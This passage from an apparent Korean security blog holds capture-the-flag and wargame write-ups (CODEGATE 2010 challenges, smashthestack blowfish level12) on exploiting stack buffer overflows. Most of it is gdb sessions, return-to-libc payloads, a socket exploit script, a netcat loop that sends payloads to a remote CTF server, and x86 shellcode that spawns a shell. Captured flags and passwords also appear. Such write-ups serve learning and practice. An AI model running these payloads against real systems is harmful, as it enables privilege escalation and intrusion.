$0x118,%esp 0x080484ed \u0026lt;func+9\u0026gt;: mov 0xc(%ebp),%eax 0x080484f0 \u0026lt;func+12\u0026gt;: mov %eax,0x8(%esp) 0x080484f4 \u0026lt;func+16\u0026gt;: mov 0x8(%ebp),%eax 0x080484f7 \u0026lt;func+19\u0026gt;: mov %eax,0x4(%esp) 0x080484fb \u0026lt;func+23\u0026gt;: lea -0x108(%ebp),%eax 0x08048501 \u0026lt;func+29\u0026gt;: mov %eax,(%esp) 0x08048504 \u0026lt;func+32\u0026gt;: call 0x80483f8 \u0026lt;memcpy@plt\u0026gt; 0x08048509 \u0026lt;func+37\u0026gt;: leave 0x0804850a \u0026lt;func+38\u0026gt;: ret End of assembler dump. (gdb) b *func+38 Breakpoint 1 at 0x804850a (gdb) r \u0026lt; payload Starting program: /tmp/by/easy \u0026lt; payload Input: Breakpoint 1, 0x0804850a in func () (gdb) x/32wx $esp 0xbffff74c: 0x08048575 0x001a70c0 0x0000000a 0x00ad2420 0xbffff75c: 0xbffff778 0x009c0345 0x00505d20 0x00000116 0xbffff76c: 0x0804b008 0x08048590 0x00000000 0xbffff7f8 0xbffff77c: 0x009a7b56 0x00000001 0xbffff824 0xbffff82c 0xbffff78c: 0x00213858 0xbffff7e0 0xffffffff 0x00513ff4 0xbffff79c: 0x080482dd 0x00000001 0xbffff7e0 0x00505326 0xbffff7ac: 0x00514828 0x00213b40 0x00ad1ff4 0x00000000 0xbffff7bc: 0x00000000 0xbffff7f8 0xa3451f93 0x685c28ed (gdb) x/s 0x0804b008 0x804b008: \u0026#34;/bin/sh\u0026#34; (gdb) 현재 ret주소에 main의 ret 코드 주소를 넣어 esp+4의 위치를 참조하게 된다. esp+4의 위치는 execl() 함수 주소 이다. 그렇다면 execl() 함수의 인자가 다음에 오게 되는데... 우리가 원하는 \u0026quot;/bin/sh\u0026quot; 인자는 6번째 떨어진 위치에 존재한다. 따라서 ret를 6개 입력을 하여 다시 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 hugh@codegate-desktop:/tmp/by$ python -c \u0026#34;print \u0026#39;/bin/sh\\x00\u0026#39; + \u0026#39;A\u0026#39;*260 + \u0026#39;\\x75\\x85\\x04\\x08\u0026#39;*6 + \u0026#39;\\xc0\\x70\\x1a\\x00\u0026#39;\u0026#34; \u0026gt; payload hugh@codegate-desktop:/tmp/by$ gdb -q easy Reading symbols from /tmp/by/easy...done. (gdb) disassemble func Dump of assembler code for function func: 0x080484e4 \u0026lt;func+0\u0026gt;: push %ebp 0x080484e5 \u0026lt;func+1\u0026gt;: mov %esp,%ebp 0x080484e7 \u0026lt;func+3\u0026gt;: sub $0x118,%esp 0x080484ed \u0026lt;func+9\u0026gt;: mov 0xc(%ebp),%eax 0x080484f0 \u0026lt;func+12\u0026gt;: mov %eax,0x8(%esp) 0x080484f4 \u0026lt;func+16\u0026gt;: mov 0x8(%ebp),%eax 0x080484f7 \u0026lt;func+19\u0026gt;: mov %eax,0x4(%esp) 0x080484fb \u0026lt;func+23\u0026gt;: lea -0x108(%ebp),%eax 0x08048501 \u0026lt;func+29\u0026gt;: mov %eax,(%esp) 0x08048504 \u0026lt;func+32\u0026gt;: call 0x80483f8 \u0026lt;memcpy@plt\u0026gt; 0x08048509 \u0026lt;func+37\u0026gt;: leave 0x0804850a \u0026lt;func+38\u0026gt;: ret End of assembler dump. (gdb) b *func+38 Breakpoint 1 at 0x804850a (gdb) r \u0026lt; payload Starting program: /tmp/by/easy \u0026lt; payload Input: Breakpoint 1, 0x0804850a in func () (gdb) x/32wx $esp 0xbffff74c: 0x08048575 0x08048575 0x08048575 0x08048575 0xbffff75c: 0x08048575 0x08048575 0x001a70c0 0x0000000a 0xbffff76c: 0x0804b008 0x08048590 0x00000000 0xbffff7f8 0xbffff77c: 0x00126b56 0x00000001 0xbffff824 0xbffff82c 0xbffff78c: 0x00c8c858 0xbffff7e0 0xffffffff 0x0065fff4 0xbffff79c: 0x080482dd 0x00000001 0xbffff7e0 0x00651326 0xbffff7ac: 0x00660828 0x00c8cb40 0x00250ff4 0x00000000 0xbffff7bc: 0x00000000 0xbffff7f8 0xd9ad8518 0x0294b267 (gdb) x/s 0x0804b008 0x804b008: \u0026#34;/bin/sh\u0026#34; (gdb) 인자가 제대로 구성이 된것을 확인할 수 있었다. 이제 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 byjjoon@Ubuntu:~/Padocon$ while true; do (python -c \u0026#34;print \u0026#39;/bin/sh\\x00\u0026#39; + \u0026#39;A\u0026#39;*260 + \u0026#39;\\x75\\x85\\x04\\x08\u0026#39;*6 + \u0026#39;\\xc0\\x70\\x1a\\x00\u0026#39;\u0026#34;; cat) | nc ctf4.codegate.org 9000; done Input: Input: Input: Input: Input: Input: Input: Input: Input: Input: Input: Input: id uid=1003(easy) gid=1003(easy) cat /home/easy/flag.txt bc15d4ddf6ca486682064ad226a7ff1b - 똑같이 5번 문제도 같은 방식으로 풀린다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 byjjoon@Ubuntu:~/Padocon$ while true; do (python -c \u0026#34;print \u0026#39;/bin/sh\\x00\u0026#39; + \u0026#39;A\u0026#39;*260 + \u0026#39;\\x75\\x85\\x04\\x08\u0026#39;*6 + \u0026#39;\\xc0\\x70\\x1a\\x00\u0026#39;\u0026#34;; cat) | nc ctf4.codegate.org 9001; done Input: Input: Input: Input: Input: Input: Input: Input: id uid=1004(harder) gid=1004(harder) cat /home/harder/flag.txt e2e4cb6adc9cd761dcde774f84529591 - 아래 코드는 system() 함수를 이용하여 작성한 exploit 코드 이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #!/usr/bin/python import sys import socket import time from struct import pack def send_payload(host, port, payload): print \u0026#39;[+] Connect - %s:%d\u0026#39; % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) a = s.recv(128) print \u0026#39;[+] Receive - %s\u0026#39; % a time.sleep(2) print \u0026#39;[+] Sending Payload\u0026#39; s.send(payload) time.sleep(2) print s.recv(512) s.close() def main(): host = \u0026#39;ctf4.codegate.org\u0026#39; port = 9000 payload = \u0026#39;\u0026#39; payload += \u0026#39;cat /home/easy/flag.txt\\x00\u0026#39; payload += \u0026#39;A\u0026#39;*244 payload += pack(\u0026#39;L\u0026#39;, 0x08048575) * 6 # ret payload += pack(\u0026#39;L\u0026#39;, 0x149020) # system() payload += \u0026#39;\\n\u0026#39; send_payload(host, port, payload) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat!\u0026#39; main() 1 2 3 4 5 6 7 8 byjjoon@Ubuntu:~/Padocon$ ./exploit_3.py [+] Strat! [+] Connect - ctf4.codegate.org:9000 [+] Receive - Input: [+] Sending Payload bc15d4ddf6ca486682064ad226a7ff1b - byjjoon@Ubuntu:~/Padocon$ ","date":"2010-03-17T15:13:10Z","permalink":"/2010/03/17/%EC%9E%90%EB%8F%99-%EC%A0%80%EC%9E%A5-%EB%AC%B8%EC%84%9C-3/","title":"CODEGATE 2010 CHALLENGE 4, 5 (RTL)"},{"content":"이 문제를 풀기위해 어언 1년이 걸린거 같다... 마침에 최종 레벨을 다 풀어냈다. 이 감격이란 -_-......\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 /* * Anyone hating this level yet? * Having problems? * good... ;) * * Created by: ddle * */ #include \u0026lt;stdio.h\u0026gt; int func(arg) char *arg; { char buf[40]; strncpy(buf , arg , 64); return 0; } int main(argc , argv , envp) int argc; char **argv; char **envp; { if(argc \u0026gt; 2 || *envp) { printf(\u0026#34;Tcuk Tcuk Tcuk\\n\u0026#34;); exit(1); } if(strchr(argv[1] , 0xbf)) { printf(\u0026#34;.tsol m\u0026#39;i kcuF\\n\u0026#34;); exit(1); } func(argv[1]); return 0; } 일단 먼저 if(argc \u0026gt; 2 || *envp) 부분을 보게 되면 인자를 하나만 줄수 있으며 환경변수가 없어야 한다. 그리고 인자로 줄 주소에 0xbf 를 체크한다. 따라서 기존 문제처럼 풀이를 할 수가 없다...\n우선 /tmp 폴더에서 작업을 해보자. 문제 파일을 복사해 와 core 파일을 남기도록 하여 우선 아래와 같이 공격을 해보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 level12@blowfish:/tmp/by$ env --help Usage: env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...] Set each NAME to VALUE in the environment and run COMMAND. -i, --ignore-environment start with an empty environment -u, --unset=NAME remove variable from the environment --help display this help and exit --version output version information and exit A mere - implies -i. If no COMMAND, print the resulting environment. Report bugs to \u0026lt;bug-coreutils@gnu.org\u0026gt;. level12@blowfish:/tmp/by$ env -i level12 `python -c \u0026#34;print \u0026#39;A\u0026#39;*80\u0026#34;` Segmentation fault (core dumped) level12@blowfish:/tmp/by$ gdb level12 core.19822 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... Reading symbols from /lib/snoopy.so...done. Loaded symbols for /lib/snoopy.so Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/libdl.so.2...done. Loaded symbols for /lib/libdl.so.2 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Core was generated by `level12 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0026#39;. Program terminated with signal 11, Segmentation fault. [New process 19822] #0 0x41414141 in ?? () (gdb) q 우선 env 명령어를 이용하여 환경변수를 다 날린 후 실행을 하도록 한다. 그럼 환경변수 체크를 하는 부분은 우회를 할 수 있게 된다. 이제 core 파일을 확인한 결과 우리가 입력한 부분에서 에러가 난것을 확인할 수 있었다.\n이제 정확한 위치를 파악하도록 해보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 level12@blowfish:/tmp/by$ env -i level12 `python -c \u0026#34;print \u0026#39;A\u0026#39;*60 + \u0026#39;BBBB\u0026#39;\u0026#34;` Segmentation fault (core dumped) level12@blowfish:/tmp/by$ gdb level12 core.19961 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... Reading symbols from /lib/snoopy.so...done. Loaded symbols for /lib/snoopy.so Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/libdl.so.2...done. Loaded symbols for /lib/libdl.so.2 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Core was generated by `level12 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\u0026#39;. Program terminated with signal 11, Segmentation fault. [New process 19961] #0 0x42424242 in ?? () (gdb) q 정확하게 60개 이후에 우리가 원하는 주소를 입력할 수 있겠다. 여기에 이제 ret 주소를 입력하여 공격을 하도록 하자. ret 주소를 넣으면 esp + 4 위치를 참고하게 된다. 아래 gdb를 통해 확인한 과정을 살펴보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 level12@blowfish:/tmp/by$ gdb level12 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... (gdb) disassemble main Dump of assembler code for function main: 0x0804844b \u0026lt;main+0\u0026gt;: push %ebp 0x0804844c \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x0804844e \u0026lt;main+3\u0026gt;: sub $0x8,%esp 0x08048451 \u0026lt;main+6\u0026gt;: and $0xfffffff0,%esp 0x08048454 \u0026lt;main+9\u0026gt;: mov $0x0,%eax 0x08048459 \u0026lt;main+14\u0026gt;: sub %eax,%esp 0x0804845b \u0026lt;main+16\u0026gt;: cmpl $0x2,0x8(%ebp) 0x0804845f \u0026lt;main+20\u0026gt;: jg 0x804846b \u0026lt;main+32\u0026gt; 0x08048461 \u0026lt;main+22\u0026gt;: mov 0x10(%ebp),%eax 0x08048464 \u0026lt;main+25\u0026gt;: cmpl $0x0,(%eax) 0x08048467 \u0026lt;main+28\u0026gt;: jne 0x804846b \u0026lt;main+32\u0026gt; 0x08048469 \u0026lt;main+30\u0026gt;: jmp 0x8048483 \u0026lt;main+56\u0026gt; 0x0804846b \u0026lt;main+32\u0026gt;: movl $0x80485e4,(%esp) 0x08048472 \u0026lt;main+39\u0026gt;: call 0x8048330 \u0026lt;printf@plt\u0026gt; 0x08048477 \u0026lt;main+44\u0026gt;: movl $0x1,(%esp) 0x0804847e \u0026lt;main+51\u0026gt;: call 0x8048340 \u0026lt;exit@plt\u0026gt; 0x08048483 \u0026lt;main+56\u0026gt;: mov 0xc(%ebp),%eax 0x08048486 \u0026lt;main+59\u0026gt;: add $0x4,%eax 0x08048489 \u0026lt;main+62\u0026gt;: movl $0xbf,0x4(%esp) 0x08048491 \u0026lt;main+70\u0026gt;: mov (%eax),%eax 0x08048493 \u0026lt;main+72\u0026gt;: mov %eax,(%esp) 0x08048496 \u0026lt;main+75\u0026gt;: call 0x8048310 \u0026lt;strchr@plt\u0026gt; 0x0804849b \u0026lt;main+80\u0026gt;: test %eax,%eax 0x0804849d \u0026lt;main+82\u0026gt;: je 0x80484b7 \u0026lt;main+108\u0026gt; 0x0804849f \u0026lt;main+84\u0026gt;: movl $0x80485f4,(%esp) 0x080484a6 \u0026lt;main+91\u0026gt;: call 0x8048330 \u0026lt;printf@plt\u0026gt; 0x080484ab \u0026lt;main+96\u0026gt;: movl $0x1,(%esp) 0x080484b2 \u0026lt;main+103\u0026gt;: call 0x8048340 \u0026lt;exit@plt\u0026gt; 0x080484b7 \u0026lt;main+108\u0026gt;: mov 0xc(%ebp),%eax 0x080484ba \u0026lt;main+111\u0026gt;: add $0x4,%eax 0x080484bd \u0026lt;main+114\u0026gt;: mov (%eax),%eax 0x080484bf \u0026lt;main+116\u0026gt;: mov %eax,(%esp) 0x080484c2 \u0026lt;main+119\u0026gt;: call 0x8048424 \u0026lt;func\u0026gt; 0x080484c7 \u0026lt;main+124\u0026gt;: mov $0x0,%eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x080484cc \u0026lt;main+129\u0026gt;: leave 0x080484cd \u0026lt;main+130\u0026gt;: ret End of assembler dump. (gdb) b *main+16 Breakpoint 1 at 0x804845b (gdb) disassemble func Dump of assembler code for function func: 0x08048424 \u0026lt;func+0\u0026gt;: push %ebp 0x08048425 \u0026lt;func+1\u0026gt;: mov %esp,%ebp 0x08048427 \u0026lt;func+3\u0026gt;: sub $0x48,%esp 0x0804842a \u0026lt;func+6\u0026gt;: movl $0x40,0x8(%esp) 0x08048432 \u0026lt;func+14\u0026gt;: mov 0x8(%ebp),%eax 0x08048435 \u0026lt;func+17\u0026gt;: mov %eax,0x4(%esp) 0x08048439 \u0026lt;func+21\u0026gt;: lea -0x38(%ebp),%eax 0x0804843c \u0026lt;func+24\u0026gt;: mov %eax,(%esp) 0x0804843f \u0026lt;func+27\u0026gt;: call 0x8048350 \u0026lt;strncpy@plt\u0026gt; 0x08048444 \u0026lt;func+32\u0026gt;: mov $0x0,%eax 0x08048449 \u0026lt;func+37\u0026gt;: leave 0x0804844a \u0026lt;func+38\u0026gt;: ret End of assembler dump. (gdb) b *func+38 Breakpoint 2 at 0x804844a (gdb) info b Num Type Disp Enb Address What 1 breakpoint keep y 0x0804845b \u0026lt;main+16\u0026gt; 2 breakpoint keep y 0x0804844a \u0026lt;func+38\u0026gt; (gdb) r `python -c \u0026#34;print \u0026#39;A\u0026#39;*60 + \u0026#39;\\xc7\\x84\\x04\\x08\u0026#39;\u0026#34;` Starting program: /tmp/by/level12 `python -c \u0026#34;print \u0026#39;A\u0026#39;*60 + \u0026#39;\\xc7\\x84\\x04\\x08\u0026#39;\u0026#34;` Breakpoint 1, 0x0804845b in main () (gdb) jump *0x8048483 Continuing at 0x8048483. Breakpoint 2, 0x0804844a in func () (gdb) x/32wx $esp 0xbfffd84c: 0x080484c7 0xbfffd9e9 0x000000bf 0xbfffd8b8 0xbfffd85c: 0x00126455 0x00000002 0xbfffd8e4 0xbfffd8f0 0xbfffd86c: 0x00e14088 0x00000001 0x00000001 0x00000000 0xbfffd87c: 0x08048261 0x00249ff4 0x080484d0 0x08048360 0xbfffd88c: 0xbfffd8b8 0xebb0c081 0x30c835fe 0x00000000 0xbfffd89c: 0x00000000 0x00000000 0x008e12e0 0x0012637d 0xbfffd8ac: 0x008e8ff4 0x00000002 0x08048360 0x00000000 0xbfffd8bc: 0x08048381 0x0804844b 0x00000002 0xbfffd8e4 (gdb) x/32wx 0xbfffd9e9 0xbfffd9e9: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffd9f9: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffda09: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffda19: 0x41414141 0x41414141 0x41414141 0x080484c7 0xbfffda29: 0x45485300 0x2f3d4c4c 0x2f6e6962 0x68736162 0xbfffda39: 0x52455400 0x74783d4d 0x006d7265 0x5f485353 0xbfffda49: 0x45494c43 0x353d544e 0x32322e39 0x3134312e 0xbfffda59: 0x3533322e 0x31343420 0x32203931 0x53530032 (gdb) 위와 같이 ret가 호출되기 바로 직전에 esp+4 위치의 주소를 확인해보면 우리가 입력한 'A'가 들어가 있는걸 확인할 수 있다. 따라서 'A' 대신 'NOP + SHELLCODE' 로 구성하여 공격을 진행하면 될 것이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 level12@blowfish:/tmp/by$ gdb level12 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... (gdb) disassemble main Dump of assembler code for function main: 0x0804844b \u0026lt;main+0\u0026gt;: push %ebp 0x0804844c \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x0804844e \u0026lt;main+3\u0026gt;: sub $0x8,%esp 0x08048451 \u0026lt;main+6\u0026gt;: and $0xfffffff0,%esp 0x08048454 \u0026lt;main+9\u0026gt;: mov $0x0,%eax 0x08048459 \u0026lt;main+14\u0026gt;: sub %eax,%esp 0x0804845b \u0026lt;main+16\u0026gt;: cmpl $0x2,0x8(%ebp) 0x0804845f \u0026lt;main+20\u0026gt;: jg 0x804846b \u0026lt;main+32\u0026gt; 0x08048461 \u0026lt;main+22\u0026gt;: mov 0x10(%ebp),%eax 0x08048464 \u0026lt;main+25\u0026gt;: cmpl $0x0,(%eax) 0x08048467 \u0026lt;main+28\u0026gt;: jne 0x804846b \u0026lt;main+32\u0026gt; 0x08048469 \u0026lt;main+30\u0026gt;: jmp 0x8048483 \u0026lt;main+56\u0026gt; 0x0804846b \u0026lt;main+32\u0026gt;: movl $0x80485e4,(%esp) 0x08048472 \u0026lt;main+39\u0026gt;: call 0x8048330 \u0026lt;printf@plt\u0026gt; 0x08048477 \u0026lt;main+44\u0026gt;: movl $0x1,(%esp) 0x0804847e \u0026lt;main+51\u0026gt;: call 0x8048340 \u0026lt;exit@plt\u0026gt; 0x08048483 \u0026lt;main+56\u0026gt;: mov 0xc(%ebp),%eax 0x08048486 \u0026lt;main+59\u0026gt;: add $0x4,%eax 0x08048489 \u0026lt;main+62\u0026gt;: movl $0xbf,0x4(%esp) 0x08048491 \u0026lt;main+70\u0026gt;: mov (%eax),%eax 0x08048493 \u0026lt;main+72\u0026gt;: mov %eax,(%esp) 0x08048496 \u0026lt;main+75\u0026gt;: call 0x8048310 \u0026lt;strchr@plt\u0026gt; 0x0804849b \u0026lt;main+80\u0026gt;: test %eax,%eax 0x0804849d \u0026lt;main+82\u0026gt;: je 0x80484b7 \u0026lt;main+108\u0026gt; 0x0804849f \u0026lt;main+84\u0026gt;: movl $0x80485f4,(%esp) 0x080484a6 \u0026lt;main+91\u0026gt;: call 0x8048330 \u0026lt;printf@plt\u0026gt; ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x080484ab \u0026lt;main+96\u0026gt;: movl $0x1,(%esp) 0x080484b2 \u0026lt;main+103\u0026gt;: call 0x8048340 \u0026lt;exit@plt\u0026gt; 0x080484b7 \u0026lt;main+108\u0026gt;: mov 0xc(%ebp),%eax 0x080484ba \u0026lt;main+111\u0026gt;: add $0x4,%eax 0x080484bd \u0026lt;main+114\u0026gt;: mov (%eax),%eax 0x080484bf \u0026lt;main+116\u0026gt;: mov %eax,(%esp) 0x080484c2 \u0026lt;main+119\u0026gt;: call 0x8048424 \u0026lt;func\u0026gt; 0x080484c7 \u0026lt;main+124\u0026gt;: mov $0x0,%eax 0x080484cc \u0026lt;main+129\u0026gt;: leave 0x080484cd \u0026lt;main+130\u0026gt;: ret End of assembler dump. (gdb) q ret주소는 0x080484cd 이다. Payload 구성은 아래와 같다. [NOP * 26] + [Shellcode, 34] + [RET]\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!/usr/bin/python import os from struct import pack # length : 34 shellcode = \u0026#39;\u0026#39; shellcode += \u0026#39;\\x6a\\x31\\x58\\x99\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x6a\\x46\\x58\\xcd\\x80\\xb0\\x0b\u0026#39; shellcode += \u0026#39;\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x89\\xd1\\xcd\\x80\u0026#39; payload = \u0026#39;\u0026#39; payload += \u0026#39;\\x90\u0026#39;*26 payload += shellcode payload += pack(\u0026#39;\u0026lt;L\u0026#39;, 0x080484cd) # ret env = os.environ.keys() for item in env: os.unsetenv(item) os.execl(\u0026#39;/levels/level12\u0026#39;, \u0026#39;level12\u0026#39;, payload) 1 2 3 4 5 6 level12@blowfish:/tmp/by$ ./ex.py level13@blowfish:/tmp/by$ id uid=1015(level13) gid=1014(level12) groups=1014(level12) level13@blowfish:/tmp/by$ cat /pass/level13 0n3_m0r3. level13@blowfish:/tmp/by$ ","date":"2010-03-16T19:21:00Z","permalink":"/2010/03/16/blowfishsmashthestackorg-level12-%ED%92%80%EC%9D%B4/","title":"blowfish.smashthestack.org - Level12 풀이"},{"content":"http://coma.0x3f.net/uncategorized/codegate2010-ctf-level-4/ 위 사이트에 올라온 풀이를 보고 다시 한번 풀어 정리를 하여 보았다.\n해당 문제를 통해 msfelfscan의 사용법과 core 파일 생성 및 디버깅 방법을 확인할 수 있었다. \\xcc를 이용하여 흐름을 파악하는 과정은 정말 도움이 많이 될 거 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [byjjoon@ByJJoon CODEGATE]$ ulimit -c 50000 [byjjoon@ByJJoon CODEGATE]$ python -c \u0026#34;print \u0026#39;A\u0026#39;*272\u0026#34; | ./easy Input: Segmentation fault (core dumped) [byjjoon@ByJJoon CODEGATE]$ gdb easy core.14150 GNU gdb Fedora (6.8-24.fc9) Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-redhat-linux-gnu\u0026#34;... warning: Can\u0026#39;t read pathname for load map: Input/output error. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Core was generated by `./easy\u0026#39;. Program terminated with signal 11, Segmentation fault. [New process 14150] #0 0x41414141 in ?? () Missing separate debuginfos, use: debuginfo-install glibc.i686 (gdb) bt #0 0x41414141 in ?? () #1 0x098c000a in ?? () #2 0x00000112 in ?? () #3 0x00a58420 in ?? () from /lib/libc.so.6 #4 0x00a57ff4 in ?? () from /lib/libc.so.6 #5 0x008e1dd0 in ?? () from /lib/ld-linux.so.2 #6 0x08048430 in ?? () #7 0x00000112 in ?? () #8 0x098cd008 in ?? () #9 0x08048590 in ?? () #10 0x08048430 in ?? () #11 0xbfe84218 in ?? () #12 0x009095d6 in __libc_start_main () from /lib/libc.so.6 Backtrace stopped: previous frame inner to this frame (corrupt stack?) (gdb) q 덮어쓸 위치를 찾았다...이제 메타스플로잇에 있는 msfelfscan을 이용하여 [call eax] 위치를 찾아보자\n1 2 3 4 [byjjoon@ByJJoon CODEGATE]$ ../Metasploit/msfelfscan easy -j eax [easy] 0x080484df call eax 0x0804860b call eax 공격할 주소는 0x0804860b 로 정했다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 [byjjoon@ByJJoon CODEGATE]$ python -c \u0026#34;print \u0026#39;\\x90\u0026#39;*268 + \u0026#39;AAAA\u0026#39; + \u0026#39;\\x90\u0026#39;*100\u0026#34; | ./easy Input: Segmentation fault (core dumped) [byjjoon@ByJJoon CODEGATE]$ ls core.14150 core.14155 easy [byjjoon@ByJJoon CODEGATE]$ gdb easy core.14155 GNU gdb Fedora (6.8-24.fc9) Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-redhat-linux-gnu\u0026#34;... warning: Can\u0026#39;t read pathname for load map: Input/output error. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Core was generated by `./easy\u0026#39;. Program terminated with signal 11, Segmentation fault. [New process 14155] #0 0x41414141 in ?? () Missing separate debuginfos, use: debuginfo-install glibc.i686 (gdb) x/32wx $eax 0xbf9184e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf9184f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918500: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918510: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918520: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918530: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918540: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918550: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbf918560: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918570: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918580: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918590: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf9185a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf9185b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf9185c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf9185d0: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbf9185e0: 0x90909090 0x90909090 0x90909090 0x41414141 0xbf9185f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918600: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918610: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918620: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918630: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918640: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf918650: 0x90909090 0xb7e8000a 0x00000000 0x00000000 (gdb) q 정확하게 EIP가 0x41414141 (AAAA)로 바뀐것을 